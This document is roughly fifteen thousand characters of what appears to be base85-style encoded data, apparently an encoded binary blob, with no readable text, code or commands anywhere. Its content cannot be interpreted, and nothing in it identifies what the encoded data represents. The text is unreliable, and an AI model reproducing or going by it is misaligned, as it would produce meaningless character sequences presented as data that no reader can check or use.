z3V)>Nb&SoZo|bcODtTst%E9R1)RCXN636y()7AFyfs?P!(f;0%7hO&DY=AL#%+4sg zNvbXS<~WbK*044cB$%;M{>HVh3{yaJ#9Ph2Q_dP02E0dp28 z8G6T+k2c)xrv_`?+{?;!`*%@yPz2Ec z0W7xVf|~$tt31>zEN&30>PIMke}^yoDXQ&>C=|8nd%*xkTt$S`$THA*A)VHd2$Ej^o-=B~>XG52ScNmI|L0vgt3O4di*-8qzh01Hpqaes zl{)VEYmfoFL?z#REcyL`t@ zUt?MOYAK7A2krUQo6*f?1B5*5W;v@}LJOK3ZDX%P28%V|0}#;ZOha2QL!Z}JyvaxX z+;;r)cBt8IiRu)9tkAghR!Nf12haKY#1t)5Y$%m9Mt5*9(e*E9qN?+XeHMP>qto9= z;A%LuOsM!P*N2Lf-C!&l3=3YYoaQfo9*pQ;>Mz6Fd7)Ia{%ESR#*lp0s&_%sGUgn3 zKYhnpv%tBwWsLqYo-C5?H+;n`n8R4M?q^>9%j7ocGevvfATpY2P~4~Eevxi4()1rn zYQa{#made|0ASTc@rAbnYJ8%_nEcEih6Y*++WdD^x3(2r?`KqxD&{G*_6i`!sAe+9 zsP@91#BQ3!_|qGK#wlP{J*+uxFsyz&?bm?J-tT|`A{Rl>*m7*h@%kOs3cKk;umNKw z-I>hV&!E`)y#a?E@;PQP%+6^IrEttex;6iJ5WaB!B@%E5xN8!LZ@cL$ zQ5^cdQatFbnIb0?8YXlFVX)pov_V5_@n@wx;7%jB&9QgPc=vVOomP0OeC3_C_{EOmJ7HeyTC3$~!4M%N;;i)G?n?8Z zH=U?|5h1Z0y&HsOD#mWQhRz^_HglzXxU!}H)|S-TaZoI(>jG;3kERB~M__ufabLV>zZbQRp z#Sqra#Wu3W-80;BuQ40Rr`~IY_i;bF=gCg+z4schP5jEefFagU2xLvTLmjMxA5;Er zeslZ^5v?*)RMNvL(un+)4pKiN+4O^b#FnH9a^yGcg;7GR!D3DRi%L85KILAuoxK-z%;NU;mXFi4x z^XpLWnwmMmcUky;(yls>4%N}Rm-C{3{k)#uBd)v6;iQk4+mZOjIU0ZQZzOIawtLYG zuK=gL@PFghzZ%U0eE!9!?hB2^j8A8LM&V<_=NLX3_^jRWk@2a(r>|Y3Ifzdy1U$Ck z(}pq4DSRg5hkk#gtO9#a zT*pmL4+6MLfPXTq@F!!8M$!ODzm`w62l!-xggrYrn8%JvA0_EW0zi@R{BwJ!%qtj6 zaepNj@ictpuXRZX(Xp zfyl)>Y7T1j6lW-h^|uwP*&B^tV2QLyrkCPNUlTc%e`u|g^gSnol6|}>Uf8*r7tEMaC+5aa zsK%DN8QO|yW8%B;mThrPFd+|SRo=}BvYU1w7u_kDgn@+r zvmjHqYb0}$IZ_0mEfRiK!sIJI*Ry`?N4a-h7NTu_NuE=eE!GD0l=TJ{8T=(m(4qhv zjq2TI(ki9Te}|;#>O}iMR6bjtXkfl*m{ZY*`tcoXst(rPu zI+wUfrg3tKk@>YBtrpH!d0VV-4Pfms2~uLzYVL~#PTx>16(O?gJmdy$%sbXkE!;+} z8QrFT_fK@C+L}dIDqFKsWpUqvwp%A7+MF<6?c`|rJvY{%^Qv@eSn_y-Q5S|sgHhie zU*IxF(##@$p$K6Hi^i-Ek z_w)}rr5?Kd2~c!<4HQBbk)T8Ws1h{oa;2aXg%Q-RQ+XT_g>*+LC%QewTkVhpkx92f zWYT9-Cg`{La-*g<#l)Md7JWLMgg1>0o`G-bl~{YYkDo9S!0jyr4R z{tRUdx!;Kioban9TK90e+}oX*>+a|Va~B&)9c9&Rmgl>(`i99DNjCk*AYpn=mAARG zCJnnIl^>o#v(fc}Ry0%0lfv=TZmjCMu9QJaIAXCfDWT9B>te`DI5W-~3p1~8oFJ!| zSZLS3;=yo?PQe#c_A-5CA8n`18Yw!D(iqh%;!AfGU(yBTnwSN{-;Q9`Kc!xG{g%8ddD1VTOBFD z4XN1Z%X33wrOVa;CsF7~dR_7X8+S&B2UK)L1!IboRHV?|myr~2M_~ahRAvkpJvav- zR!I3vFP0e5;;dF<4;~@@HWh!Hi@z!!CZ5B^-`4mG!xIuCH}Ynkn72I2o5g2-*##Ba zber*YHv>1~?7?ePWGx|M1j1EhIU#)nVpWlk2%YCfIwb!7NuU|>u#Jt{#232gtQXKT@|@U zNT5J&sK`x1^aA;zvvVeO{*MGbe?hG;QZt<)m@yE(s)0MfMW%y+F3A$TmWD z31p*+Y$D_{fvi%I)r2e-$YMNZqWUES%@t6tn&|^VCJAJ=ip(Kout45ck?DkV7s#6` zGM%3ghg|%)xRge>I-hC|W^vT2zYg(dDW~f1;oyd)>PJ3j(7&gK;LL|$GRd>WM zt5`Yt$~=a(GOmZH7HRm+M5{mcdAdaTVhkI@lI6%)))HUiV_CEMLx~4Gpn@~vKTG!S zP00?SzFKxuvHWc;>#p_uLVgyD*3OsPbY-pCTKUbcU@%aYyRxAz-v0tEa8e4OELi-G z?*lvhA{j0(ZorexRHuMsD8%(QyJ@jpKaTnN7UiQKO*WN&`Fc26;_9OVIY%Adm0Ln#!&TtTx;zuLRbCjgk8%u&?R`J$2G( zGipjjch|x*NV0WWFYCLp`n4*aIBBpp>)w^ybYsmL-Z-q)y zjhZL-?#?`GKRhHFWjA$}r*?<0cT6tm&RVdoaz%F*%s!MoEv#w1@77Z$VRUit6g#fp zavg)EkPC9)5_dW+0urZnMU)h(j6<;ra>t&mth3u824rCIWRcC|9L1%5H@()QYaJ&Mb zyzFocX2l^IsEAXxL9X%i8x|+*rb(-)3G|Xv`W_X_PlVS&dyEu85;Ee1VImwxL`>g= zV%~W`F{&gn%g!qMnqcg4>iEjV?ki&|*UhaNa8pGjsBZYzjF z_jD>lOL@j#EY+Dg%M<#tV7H$T^;O<&KmnNyEa|$JdF%QzC&sSiZS2SNT0d7E1r_b4 zj(Cv@S-h0ERK}Oe=wd+V4dWO z@oYLfEsvSN+On~Et0u64jCIPZn8-#u*BkO4+B>F@u6CXVCv2?cu~XSF_Pcy^D(lNu z$sW^K-#Tp{VecU>ojjJ`p2l+7=XrlkV?7!BDlcw2d#q(0<;V;s4;Vi0C4QdzNSu^2 zf7g8c!hq9J`^~@b@Eo5S?=ww3e45}Bj!##72H^8HKC|&zgwFDy`nUiV zH)trCT-c;NvND%NHIs-4jY<_7<@kwdbabk+V=U>WZivWW+9LOu#~QJg@|1b7EVuHG z&0{9U66CT>mc*XP!C9;sOmpunW?{MV$}DyjU6DSYz024o`N8|_O^=!5ND5ubzxZ+9 z0`i%yx{mUMY}Pu|=MpaRoIz(R8!<1+Pv@S;l{=jiP>jN&_sAJ4wCeu+(Mc0!N{|b) zS%_Cm0b;}H?bN{f{ z%GW+*scf^{b^!~n+jkUct^)bpaJ5Jtzks!`qX!1S4=)SLUoT+Y0)L%LRU!9%N+=ywcBM$|92K ze}+0HU^peSgNMtDtt>FJor8G0h=}??l}KM2<-CeHA)%b0=j`B@r6Az@f%=V~l!|_i z+rinLKF1oWQExAPB8p*M*g2BK&_`THg;re-a)?cg@}A1e7kGEd;71u~d!vj}DYXEA zpv&KfD0ESU;i!vKQAQwgegyy{_BDpe5?z$;s)SPkYrs-D{UbJ@^_AyX*QLuiT(s#+ z@T{~RL`F82O?6>Ce;;%9;6p%QDtI>^})`zNVaG2913PEDA!le&47z$A%Z&~^qMbFUh5 zuOJE8pZ!5Y<2#)Cq=MGmaHy0a=PQ+ZUQqv)Pc3AjaVIdcmZ+K;+VWeL=$F$+TO>Fb z`v{cENG-mgM{7+x&XV-+iGrW1M5ITH^g=nx##;M58i9;B^Tn5vD10!}0~NXzyi}u(4#V_gUGrh&5#2%aMy%4{gI^a?TP~yx| zR^Rx32`Z5;)5cW#!)_|d`)4V_T|Tu@UG~p`mZQ&fmPw~lEl#e-=<=O@S>ArmnmB2X z?UTP@+Rk!AnVCIr4|{1hWO8_JzxrPG!%$LNPdY#xPO4TqN3PLq4BWQz8S&9bYrwmW-6&RWG@ zu#tK5R9$!-%)odoHcGIII8nXeL$+aqt z&9c9l;hSsE@Wjye7W8vTTKRNMtzVwo8n%kD_w%-_Wu8vn&-dc&EQQ`xz?HskV1a%P z&F&=0mp@}kb&A$eZyk%bnhwh08<&$!0fw*UmHqtR47k2n7I5w?k#w8$hJVevFgW>ZwqWP8SuWke{2Q*^1EUq^ zV%2dxSfuPAib7g-?-G0oiXUW=>wd$=bzCAtQw!~|Zp>bo;fC>@2P84N7}dFcCCu7n z02Ov8tZ>miu!4q=|J^vr)^@nO{TmFyCvxqrECefeyREF9=gN+>Rv2no(Do z*b#t#UIq|y0dclZf4QC?w8-& z%^GFifzl~gI*C!dfM=RnW=u7B{MJsViFi;Ye&-<8-0KVO<&D607gcI?bwcF z1HitZ+VimKXm^9H$@Aa@X%zC({#{m>I(@(sPUSr{(BN9W>E* zi@f|hwt{8L>5CYxgkW$Y3uO8YaJ+hXuyt>%7%@Y$^+x{hgC$?!2TiD6D%E&pjj$ z?7PmVkA2$JJ3D;@{F97-?RJa?A`xx&u{f>nJNeyx>ap98unOA#1`+#Aiw)6l(8fWCQ2VnU2$QAVUp6q^*4Pg;^Qx38jtU=KR zFd9>4Ir?0u^h5AB`(~hJ(h;mU&OgzLqwATcJq+)jwUfIX!3r`cZ{QJDk9oLmLvymv z*QCSLieyQFpSeSxbCi{_GI_u;eA(r&0_JaO7%XBx@Lu|7%}vv0^a9Ibd1L`==z7a6 zdKs_C`!tko1=u-f$y*CpkhWzbxuk%ZS(N;^fED1!)GJ5h7K{+I_U)*-*V5lYjYH-0 z$Jua?7hx~$kpoiGJ<4724?NHkZn~Ej_dRz1%_19#Q(qK9HH`u>VGETON6^Y5`&~LD zh%P|r2qG=XTXO>2v_|*qiyCkkECtY$A@^hCLVboDo67mQ+`5p>HO&oqX&)Cgpe)_9 zy3z^q@j__oN?Cu3Z88-=`)5qDNH;9fU#gk~E3(|VhA zg@t}oEc+r;HS=EbG%gcKhK7<2>HG9teH=(#Zcp@RdoK| zLvmFTC0AF&a`+HCV9D1Y^L1q2lf%|(SLx;>FFll`~f`mBFWmz zhkj%im?ST|#M(5!ZAH(A;NKB&JxZ(*zr?#$mb#Omj zSCC!sD?~{VSLt5cc)3#<;&83=W|z?#eNWzhnRRE|WTz`^y!SpmEjC5iG*(!m3k{K_cUomT`#CO3#75Pz}J*}Tw|kY(p|&;G)4X%DIc99 z^ViUJ;bu58{~*U)N5zxn1=rc2df(R+x>vke{Cik-lg=gY(RKEflNQ`Q{TUGy*Lrfp zU)Ta|tts+1zpyT~j%LBaW1d}>AOC`7aHs5div?i_JKhpQxcU~$&!qL#Vn~Q}!9J9B zgT?_C>33`h)1W8|i6&h^)Wt&g{v};D0an~^k#t$=V<{fzs*iXzUH6{)coUB^)kg)7 z>FQ$z9^Y0UVPLPO8=pEEhHETND;zFzL zt-LoB_BS&oVErOyeGib?4`?q>xyQQd+e||tXvkqeihS@M>+i>>0>Z+QJyEQj*+^p4 zo516IS8h?x8t7#pN)MI#kvycFwbpvSAulRt{voSh(B+{7Z;Len;pziO;T_ag^z8i{ z6kBpoWjaRwp`3Lvt{6*|4MQaLuTuCBi{!xHVTu2i<9|oo>V5f>-&uzy-Tx8)tOZWP ziE-2bdnpRoTFG`@=Ay`m>zsGx-N=~v^u_jV4Vv0-B|Gqth10(zQ|nu6&M`w?1IrncbUH^kdai>VMM^B*f7H z!lK10G)O>2V76xznr78~oJkw1?J6~vsAw*cVDzoJEJ0nSQX^FAoGR)>K}}bw!9>lB z(2b}f_ZQ@WD!GYTIHro)Sx_TYY6F$pu!`DLP<>UZpGtMEqSh1Cf1ij}npEoTGzgt3 zr2ZE(3qSCvk_{@kkjR31TTqXvR5z9SbrrQ#P&cU5Ix2Nx6*XT_b5yEMrB11$Zki|L z8mE%&%|vIWRFM~n!WNbKw@PhYMV%$6%~k4imFiJN9WAJ?M2*nB7>TynOiwA3Xi}1( zK6uRNpwZ;0xQucMayvmT#r1VinJRUD6*WjucdArJ#h+GDYYXafmHI*zYhD%gF^m#k z5LKyvHPfR02whqg`L-aZs^q(B;jUHGBZAsNrCwF3<|^t=LG@RuXH{yAD(a_#`Vu#> z(4@mERT<%g`bCRB5agRG`KU@hJ)*KdrU~jXmAYT0ep5vqBB+~G>QnD zLN}9Ot1c3l8jy~u401}B@m@P*r+>P#P|#pHS^=mIf>M-fCh>v96wO8kwh?F$;HTucpE&6;@-+Wl(m@ zwVtq+&K{7SSA=@VDNmToz_CNISAS@cBIpvOU-oPlh94rJ8}b)W0~zl|X|$p=LdO&s zE%vh+7ZH?fk3#s-X0h+6lO4@6aP4&?8m1r(u2t!zeq3f~;A-yhc=kN2MM z*ZXsGe2)9$JkHPObN*uW8ur0IXiR{cYa$cF^(;PY8UOnGQatyG#pk8f-|T&6;wga3 z=Tp+k1#$NjQ)WTjO>Vbec`hA_I-WX-BzZ_$nAF|VW8A`Dtvh?}p+d5j&6jt3e6bkz zH2vWC{GR%>pLo05{-||v!eZL)O<_IKopaR6J^QByujnw^&ynGMvz)UaNmfU?be}EZ z<2^qhlRV2L^%T7zsh5x5J~C#xEsj}J`#yi2RGqXQe7lhK;`3;QA9@OWe>=L=*Gt@$ z$9Q2o#NB<&8s4shA8Z4>&ic&Xkk7o8ZrX3wO-Xb3AhYnD1=2q}?gqE?H>*eU975l} zCx`Se?w;SQUsJxgGGKl^D~(@jGB;0VDYt~*{;xIJPVO;-#dcj7*AXsAYCFTt{?j^< z4}jP6>Mu0-dwwa92bPBVPk!L&88UqLbe?e+HnhC=C+`-Y)Q`_K-rzX)5pzj?$9D23 zhs!vgTKBd5ga`kBOv@mvnB|MCC~= z$g*CKG$$h?l52pUtL|!9_N552c50lYFw@;|+-g5;xtILwxBM0>*9Usd$Tp(K8Q~mW zkxk7RGI%Ne>`RZQzDp*O=1P(r&byWe?DIyo)0~4CXDu06N}uCA>T-To@p7M`8&~;N zwLYGDzGjeDI)0voNpF+P%n{3%*{4~LFMr$anlz82@1|bf%ih$A<$u^`Skv6$mVKS| zoBNDqPi@!v$3J4;Cii%bolNKF3*1RApAs6};kG>_@WSCg+)b{PZav~YWZPF;$?kt` zyA$8)rw8oA*1K+V$Ih{r40rE-m=8pY9Q##!;V?J!h&3a;HO^jU@eyuZQ@f3Ig?m*~ zduZ=}o-b|e^aZQ;e|=$myO;h)xVov$m%$sup=NfS-SX^_Jb_i^%zfR;8IqKCS$I~W zJ?C~NC zi{$tinskhHqutN>!D2sn$PcdagC&0ObGJoHyXU!m{In^4z427h#gF9rkz^vNe&lpN zl1JoxKhn>S;)MC2Q!(F0TY$k@@ol#l6Yo$P`3;h;OFlijPu;c+opdPtU&-RC>m8P+Cu ze<%CF7U`tlIW=eMPi)<|aW40cKD|E9rR@t78~hiH%U<^`POtjG!}a@5k(K9b{p!y4 zd0Yircd-ZC{a$y^>tc6m_7#~cWwqQ**I8}cd0p&_`CR>R7dxNt8ixk$4()%bw#+YQ z@jQ~qy_OH7ZPDMK$t`HOTM)F*wtjVA2-?Hwi}h2`{$~r>uQy$tGxZ}fBxJj5yV^bI z3-x+eyN|WT{i&-xDXE9#=p*CJ7ANJple*cHlU`sm@|Jh%F$#U*zR}I@Y@O+T*NxvY zpX;{jZjYq@z=ZC07rV);Zee%()Hbhjk-6#4*jH|YzjI$9rTLoO-p5_u2A8>UJ?vv# zfsXgE*E=>Zta$buZ9VV)*2g}l_1->gvAM_oyg9M{Rq1K7FzF@tq7&>4yU%v_&J*lR z)@tJk_6_v(3ijoExy3!TuRWH%IKMA#JMKQwm$aYVw0`!9)>ZDPe)h<&k2A(k?tL;& zKl(Bz`*`XN8Xw`lx!>yH*7UOnr}x&_=WO@byuZ4g``eQ{ZeY9@cZ?aaNq76Pi`|<2 zR#&N|W%!N$_H@g-!5uV!#+({{Vt{?G-F(3d-UevHPinZQoNUkI>hSW(_U*g~JawSm zmD|TZ2HGR+Zd=@y1MQXV_8sJddTOstay3tNdH?F&lrMM34zd^7T{pX*4zgdjoAg`J z(@qU<8*IO3S$Bu$oyx&zn?CNwEW4vc_n<7hL(8k4^%griXKHii5~*}IWZ9kCEM3nN zbu|NpA08t|;Fxcu8(6O)_7H1KIDd#;60ml=hlg>qn-lIg+)lGjE9W&SEvV06BnTT| z2#s3jh4`f*Kh%rR8V%Wgs5PP0?p>$bSJ`Q)?$@W=U94~1CTDOByxbjihW$AYL%p*( z3RA+Pv+WTUFF_v|VRN#ZK=|_!HosWCHQeVcd$`@1B5J z+4gA+yODceV6AuWE0IT@nisET7hW}T=&|TGrW3tPpM}3U+nyE2!Y(=A?$xZukBN#(#hJmGXV%BscdW zyO;H}d+SB^0KQ&+5}bMti3=>bH_L;u^tPNk{Ka&(&dq&Zl&@*)|KK~I5;|LWvF7!R z5HQE%cx^u3UVBD!3g4VKw0~>Za^7l={2{}?OcOsD|EeLwZ=_VqaMGKbmxt zTXeDArsG7BY?7>z3(skDb9eHmj`4GJ8s%18Y`3@jrMY`AwoBtD{^^Z+y3(C_i9M;+ zfB&#ecFR?J7Vi0WGhY%9jr-00xcnKl%@P3N7e)wgebE4H$G*BG1;xTh5bN zzxTwQL=cB>CYiwhdr|SKckUN;hF!iZ?;p+|EJXXoPKr-pyI%pPNn7Q4dw#}ny*UYi>f=c@c;6=ut-hm0-|FLWyHE>~ zs^otsUN>KE59Moy376ZC^Ktdq<@Su07cTIwh|bVGcRYGLb&z|*753b=@x_)Iu}!8n zTm$#fWUp_>>%Ed&wDvokD=G!OG_3op5?>-cmY>(~IgcCL9$d@in zGOb?n=&3td`(f@4lkIots&>{Cd#lA`(=@xCHP}s?X5ZUCp#$d!?|jdo!OXlkdzO6R z+?lcCrx2K(UwjXke*|ZH>bZSpRnu4E#M-{gO}!5OAfv|?|#^QWd`^3y>9w7_N?}k8t4(@J;Bsp zBl)T7w(oBs-$?iIYwQAU{jIL$*8g1irfcmRr8DQ(GwuC6LcVgHeWx|k9Wl!;w_b6- zo5jJu%1yrBUS%B*Z@k{_7ogYVCpWT<-*cPXWUu8rkY{ePx5Qns%$7m8aW@0{snv5T z@CoIiD%#6vmK}a#sh9XheVw0J?k8UACr;HwzdQFs)qdjH0k7I#;T?1A{#LW>Ie#1< zv2a;YqWkl0_NcZ$-)EaQu@BV_!0+#KFTCAe)a-)7KNuPM(!u+~-`sBZ52TK|-!|Ll z+vXSSdO9@5FW|FyxKD`BC2f}+-W5H0JcUIe}rNZxk+INIoCyR=!ajp0UDytSOz0;~%rPTTQ}y9<#rVyWozo zlqemsa8Z%j#2{WyhXZ`u^1-J(R`Clhag)U9i?eS(PB)wm;-ur8$wzT|MlgNS$2jth zZ(XhX=UV&Z)Q2i;vl3f}ZN$P@Rru_6_HS|4mEr7XxCdFcgszrD^1hfn#`KEpn5EO)jME&JSF`D4rE;ZqQ!7Z+x*$}JgS#qKJfO^4c+ea;_bwm*)8d-lXIhU;iS~TOmos|=MfP7Gw(9KC zK=OOsH*%zJ!`#;#?vYOTsW0s{mi2ge^jCJ<1nbQ3)F12)P3&Hmg^PZ+r!=*8g}?mW z9u=@|+tN1>jK*tzp598`GXoDcv3?9c ze@b9%g0&_b7!g?A#I~D-*NzHoY-e2NpPipQZ)QXlC6Q9ylw|C0^pU1p39> zJ>L!AeOKVi_=IJ2L;H!QcbeHYN5ZBoczUK!s{9uY7JSRzV z#x?hqe0_>a^3@ctKwMK_ZEo(R@l~fR;Q>GGzuPV8HaePLYglkm@|bYmvOw1+@}2A> zftA*|Zo5YVg?8$e@RCOZ6KpQL->wSON_XDJ0xNAEz^`~b@V#}Zd;Xe0QT*K-`JSs0CUVkC5r`gt0Z@~;8d^jBV z!){UPmR1Iq+XGgH2fP?)WhJzGlqb%eedAg`8b1G}06m5#xCvVW55>PixseM~E8KNk z18#CZ)WXls4($5=dit7mE_Fw53*2D+)7`!;kj6do!)<}11pl3Esd@EzNKE(cJrm~j%|T<)-Ue- zR{}HXpMB(&z;vfw=3-vL&izmR+4ugt<-7shQ|7eb1h_4HQ*~fpz?$Ud>8W1&W?-0A>AwGF;8JT_IPou@l`IhoKA@GT3?2E&U(m@KWy+<>yOcAP6P4#FyD1Zt z6?*jVQogJF!e_|*qJbvA_zmfy%u;4*OGhfN()@+W2b7ORsJkjx%U`a%MmbNp*E@zd z{+4NAmoA`O`G9h^^2Z;4R6_Njiz@ls2=`?-y>Oc{wMyF-}$K3sl0kZhe)w#+Y-dB0z%V}s8rlcxnI&zyPv z)XB4FTtCa0;Br4-#qw{RGeX&Id?g>{ZePeN%_lH&8J`QuR?W->g2Y5 z{#L3BRJT@Lr8>>mAroxp7f9C(C90)gvHaDk?%+$4o95^5sJcpZXVuB+etMTke$_$M z!S;T7S5Hr+SF{GYX@;VXeuhHT^{VHnj_>5B-=;c4HP7PS-$>QRRp*8m*v|Zf^t#S| zxdx@_;_KvapCo68lTxbtW#SLI|H8*ooZe}n>XZC@XKH|g)%!io^(v@=vou4d>bq}FW={Lwb zL|DEl(F`0d-rsuN#B!p`Uzw(l^rfj#eW&Uw)nV0}wY;smR@0ex*88i`bh$*y@=d*F z8094!b5!+w)wNn6PIdgH{u<<{uG4gRvnqdSn!d)DCPVcS)mf^~)#aNU4Lq+I@>D;g zx=J_k2-VXyUHU4>U%fVMYe&s&iD!xB2pSRM)VX zFHN4NzoUA(>Q7Y{st$dqfnp8(OLeL0Evm~^?^Io>dY|fQ)oWGPs@|ZwUiIgykNP@f z9@0SkM1PaisZLYi2weL!`N>Q7YXss2p$bk!fJF7!0p|1}NN=y};)b+Hy; z&QtF%UJt?(RF`V{Ox5*TzL)B9O`opXO!ZeVa<8kDblLx-HA99j;6&BcTER`Kr@|Ay)jaLlHY(as?*RRxyZbrfeg*CRdu;G=ycUtnqI8BK+{iEoulcI zgF0CooT%w}ntp-m%#)mu_arhv1JgCbY}Ex?L7M79O@CH(vFb}zr)hrPD0zRSnm$(b zQQbuus>>&Z{7rIAB%l>^QC+DOOjaG#^cJeCH9c2#hNibvU90KKRoAN?r#dsF1(G#z zR5M(tI;fktzv}qQ{RZEtI$P6EQk|yhg{q4+{WR4XntqS!P?k0zMFSOD;0)DST3~_d z9Mu;^wB|oqb)KfrQC+8-yr=5vnl9fk@)t6-nxTguFol}oD%HiRA5fjF3+$`9RMW3h zU9Nhr>N3qgTy>?U-{)x#)e_AxR5Mg-hIy*9G(A&wt){P1U9b99)kjs|tUCS*f0tdX zI$O7RE72_9q-ll~nju5=c-2{|UDY{SLF+(FkLfbXokyFSL;FAO?8&0Pg9+vdb{d8 z)vu_YuDU{Xq3X(z28uQChU!w)dsG)`1KX=E*Yt_1tB3k)_@(MfP2Z)uM)fw;^{PWp zXuwSND|lFSu`aNK>NHJ%M0JMhNvd;omkd;$rRle+uGI8w)j588$lR}iLd}q+I!`Mo zQeC9!LsU=K^t)A;XoEYdF4XkPRTrzCrMlG1&-U*W3225ZROjmg2dggE^gC2n=rIvg zU8(6)RF`RkI;*bM^nBHMQoro~K^myl43DX9PjHbLj-TT1vKgw=R9~+;Lv=uP zmg+B5=b*<}h!PFtX@O$2|t1ec3j_Oi(T$a-=6#0l~YdG?GCen_`=MzWM ztF)Rp)sfF9O;p!vdQ;Vrj~nr->or}UeM2VlxF31aI;t5W4^Bq+Oys#FUUlTLA@bZ3 zxyz?%dgQJiRGq91$WWc)X?AI*2E0o=!7SC0D|WVOxdO{yj_Sw-H*$sM0_pwbX?mLK zeASW5)pXU~)jqoAb-C(pXj#6A zoE+UXL*zqmovXS` z^(CsyRY#r*DpZFq)eMyyxKedhB!lW|)s|ieYE;VfPI z&5*3RM0JYl$V-2P~A;+k?QWMOH}tzU8cIH z>I&7pR9C6)t-5BQex&T9fjZ4_g6amsLoP-vg#bwgH-1Y z3i%Zd*1&YlaEj_e)u*a1RxLlcAb+K*ho~-BeVXb@)k9TRt7ZmG@2@tb0p=+6{_0g{ zt3IlFgzEUgeuJ5S*859S%~ZSIU#4ni`}O{^RiC3eSM?~>p?nRTtAPU5=cz7IeZJ}v z)uUCHslGsUh3c`Yt5oNzu2FrVuS2Fz1D9xq2GtW(n^XKXW^#4!FIn}Ks)MSpRh_AN zrs{0fcdO1-ZFx^5oPYTmaP$!+@>0I3>HNcX~ z{IAhKTg_0Xy1nWK)tywwpQ>kp>NM3uRcER`U3IqVvsCA*z7{RZH`6s>=`&WLYDaak z>ZYnoRX0;zt~x<=rRqf0)vDX8u2nrWQSZME8n{+7m@Iz{Eq!Q9R_&+`s&1+}Q*|@d z*{Ty%=c-Orov*rmvbX*`f@xr=W++l^wUO<^L$_*2b(!j>sw-4CQ(dJxL3NGlMAdbw z+lMsJpn;*P-LNb?(zrn;Hx4Alv$vs5Rl&QaZ7b)M>>stZ(yEPcu>(m*rSC8`rt zm#J>AxgT)Yl<1R0Hv+=^FR&D@aq_Om&9p1l3uphpNtr zl+WT=aqrk}qul3#UoB){s~Nd7^7{`yFM z)kj6k@t2^1czrEkW%&itR41s;h@=nm)3YM!s&gXg*?xLnBwh9Nh#u*u7oz#;6&jG^ z2Z|#ZM*F%nqH}#+uG+c7*OjW{_6)B4vrPR9WtJ z9nZ)1dX@1rbQ36Zl+%^P$_izT@~ATH8ozwDGGAGsoUJTUmiRo`Y}P=PvPM~_G}rnS z2bDRlb+OZ~PqoT=WwP$dEah}%X?Wbl&ahmD80) z%2H*OvR2ukOq=W1lc~&C7SmOq!y|s4pBz+XD~pun${J<8GVNZ!T(&Y_S*$G6Gp$Bx zX6bU2xjsXtPy=Pk8l|~j+pWx3mMANgwaTN)%mTk$zOqPJuB=hkdkh(4Ztx3aDRY!1 z%35XojhauHuPjnlC~K7UN^_H6E?JqSED*}_D>P82jGyfn$W-#XXx_!GP+6v|RMsiu zZ`K7VbCo5^3T2hD4!XmxbrM6tTl|vQ%6w(HvR)ay)z6owEKn9JE0lH0j6y&EbY+>c zT6xrGE0Z?I&zP$$3Ln1K`LK;u;=W$wJfD>Hki&NJ|8m>~cRRhAw|LXtPKT7@n3OX7 z90|8}8}4?}+={!MWH;>|CpoTxlxj(7wX_jx#yS9qCXdg}i$6(UCu{0&`it9Cz|ur$h6j=f@dZVCd!}{k=|dGv_&3r~FR- zu5q@Bo7U2lq!_ari(f&EO8%}hNt4*`%iYK3IlEdN(tO#SjR|9iR=79b>zp2Pce)&+==@L7*(!GD7bHdW`D=_F8Oh^*yO0xs@hFSf8Wmc@h>MMR3XABv@y1AOrI${PyW5$+#(3cv$>Yvg z;WvIOD3@a(G%Uc#m>-)HImI+?R1kc)tISRT_iTUm8Wkd zc0{X_^jQ6uGSu8Kg{NrpNWE^sDyOTvZLu>jrD(Nop{tDf1uJr`2b|umHfy-(YGbxw zn^(K1J>cA8WxJama9W?6TSh6~LMHEPW8!zWHnrDr6l2pQ&cgn#*N`SLuN>*Q_!7%@ zlOA+Bw5rl#rhwxbt15F(d(i3C>xdU;;|@wNRm6Y6{1|zn+P&{V=gh%*kL&h2l435N z&9w)cE-@DOcWp?MSf2aGgIp*oG+WIr#&o@vee7u#JM99~7;`TuaZXN2T;o@nJja+{ zu|#)Ci8D53nuddX&WO8{lJ4OWXMUFXr=L6X9{Si~zNY5g@AI1lu`#~niP3Js!%ljK z&WWb;>=e^^TC(ZPm8bKd7N+yk_6=!uZL8e6B~Fh}!F*#L#>!+da?0*&=INcpDk8BX z@kVs(VwM_-%}((2lf-JZiIN_x|5ApQ%W|UinkMXs_zSo&G-F+p&0iW~xFY{wV_jJlC8m~1;daQ0NhA*_RlbRMKO0w2b@I3a3kYQ3YqqCNA)r zJ*wRUE1Z`{)P?CXhz)v*+T^-$S!5v!=uh+lN$~g)AtKDt7MlW_XvaG(K*=WNNhKcjOc|}wO0Fg{g*NStp<#L_CLUt$N_dHNG#85NA} z>Kbfff=Ak#w0&JzXlEk{!+yb}09)qoS}N1RUV7{Tnze~HZ7xi1Xi=9~lTa03&@{hE zW(DK>E$TURluHaIzOWhZ@!JmS-rTf3xm81QU5l#3g68>=%z@vySzwa6wR_TPXJBe1 zsp@y0`Q!aMSG#joJKfW(n(?bT36>eQ$!~I0yIWQ}3qvI-miY!dD9PR#o#yEiTUq94 zB*xAZeKVH$oL|k~wbT(UL&IY0jXWJ&otm3Yv#&Otrd?$^jla@#8Z^z_QRWP}vaCIG zHDP5^xin&5cTfL^ScSyoigmCXSF9dJVwZQY%x-PS-?h{eEk{G5b-R-ucgCJvahhd* z#(saEY7-oju)C>=gV0h9(OvQ-l%!n?-Vedb|vSx%;Zp#bsc4y z_p!g%*%%L>w#NCwN+`PAGFz~%TinNro%VwpwPTv4#+y{`PN{rWN~J-mC#Td!cIzYg zmKi(Q->qZao7Xy*r9_f`okjS1%XD)OtaUnclQ3tRd6Cd3Si`{piU(8tBc66UuX8#_ zi&x)hnFCmYJ7%48>flJN{1${s#=3pw7f+E3^`NGv<;l$pB6 zZNKbk+Rvh+?f-g zw`C@wZ*aFg<+O`#+9wFDd5z)L?pII6Z1HRNT4oit&OQ5SK9EE<)RyX+Q?YgKh-bW= ze5H>C&o~332g$$xZJFSIEK^05LHEsP_*4{WTaUw*nTgeX?KWA@yNyV^1=Da0z>aJcjPh zPcJNY-yz$iNLvDgna#^g)@&*NFUP|318nmvwlR{=I|mX?!qUcbU}>gpUcg>;$34p) z4_@xC;-FJ)^U4t0q`8}(bq3J<1J61Gd&)UXUd~}Tnf_YQX(McNIrgeMq{3V8B^6%5 zofS^^lOip5@@>-sJE>mJ%D-*pz5MD`9d?qNy2%+BJ$nC~Vw=TR+U7hh_Vrb4m#fk4 z46@O>Rhyhsz1*^U#@t|=JnTx%ou108nG5aAO!wza&P`{^O5~F*o!PgVT3wB39zcvG zZCS(h-20Hw#MBkpX58JjIrx@;ziZU))6Y4*hMR|Mb3ZnFH|bL5U^7p@O{`dA)G6t) 